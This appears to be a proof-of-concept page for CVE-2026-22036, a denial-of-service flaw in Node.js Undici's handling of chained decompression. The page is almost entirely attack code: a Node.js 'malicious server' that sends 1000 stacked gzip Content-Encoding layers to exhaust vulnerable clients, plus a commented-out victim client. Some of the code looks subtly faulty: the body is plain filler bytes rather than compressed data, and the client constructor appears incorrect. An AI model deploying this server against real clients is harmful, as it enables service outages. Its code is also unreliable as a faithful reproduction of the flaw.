CVE-2026-22036: Node.js Undici库HTTP客户端解压缩链无限制拒绝服务漏洞

// CVE-2026-22036 PoC - Malicious Server simulating unbounded decompression chain attack const http = require('http'); const server = http.createServer((req, res) => { // Generate a malicious response with thousands of compression layers // This exploits the unbounded decompression chain in Undici < 7.18.0 and < 6.23.0 const compressionLayers = 1000; // Number of compression steps to exhaust client resources // Create Content-Encoding header with many layers const contentEncoding = Array(compressionLayers).fill('gzip').join(', '); res.writeHead(200, { 'Content-Encoding': contentEncoding, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked' }); // Send compressed data that will trigger deep decompression chain // Each layer requires decompression before the next can be processed const maliciousData = Buffer.alloc(1024 * 100); // 100KB of data maliciousData.fill('X'); // Send data in chunks to extend processing time for (let i = 0; i < 10; i++) { res.write(maliciousData); } res.end(); }); server.listen(8443, () => { console.log('Malicious server listening on port 8443'); console.log('Waiting for Undici client to connect...'); }); // Client-side PoC (victim connection) // const { Undici } = require('undici'); // const client = new Undici('http://localhost:8443'); // client.request({ path: '/', method: 'GET' }).catch(console.error);